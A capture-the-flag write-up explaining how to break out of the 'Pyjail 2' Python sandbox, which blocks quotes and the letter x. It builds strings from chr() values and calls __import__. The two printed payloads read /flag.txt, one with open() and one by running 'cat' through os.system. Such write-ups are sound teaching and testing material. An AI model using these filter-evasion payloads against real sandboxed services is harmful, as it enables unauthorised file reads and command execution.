Skip to main content

sigpwny CTF: Pyjail 2 Writeup — Bypassing Python Restrictions

sigpwny CTF: Pyjail 2 Writeup — Bypassing Python Restrictions

Challenge Overview

URL: https://ctf.sigpwny.com/challenges#Meetings/Pyjail%202-633

A Python jail challenge restricting the exec function with multiple filters:

  • No quotes (', ")
  • No x character (blocks exec, eval, hex strings)
  • Limited character set for code execution

Exploitation Strategy

Bypassing Restrictions

RestrictionBypass Technique
No quotesBuild strings using chr()
No x characterUse chr(88).lower() → 'X'.lower() → 'x'
Blocked functionsUse __import__() instead of import

Payload Construction

Build /flag.txt path without quotes or literal x:

chr(47)   → '/'
chr(102)  → 'f'
chr(108)  → 'l'
chr(97)   → 'a'
chr(103)  → 'g'
chr(46)   → '.'
chr(116)  → 't'
chr(88).lower() → 'x'  # ASCII 88 = 'X', .lower() → 'x'
chr(116)  → 't'

Final Payloads

Method 1: Read via open()

print(open(chr(47)+chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(88).lower()+chr(116)).read())

Method 2: Execute via os.system()

__import__(chr(111)+chr(115)).system(chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(88).lower()+chr(116))

Key Takeaways

Why This Worked

-Character whitelisting bypass: chr() converts integers to characters outside filtered set -Case manipulation: .lower() converts uppercase to lowercase, bypassing literal character bans -Dynamic imports: import() avoids blocked import keyword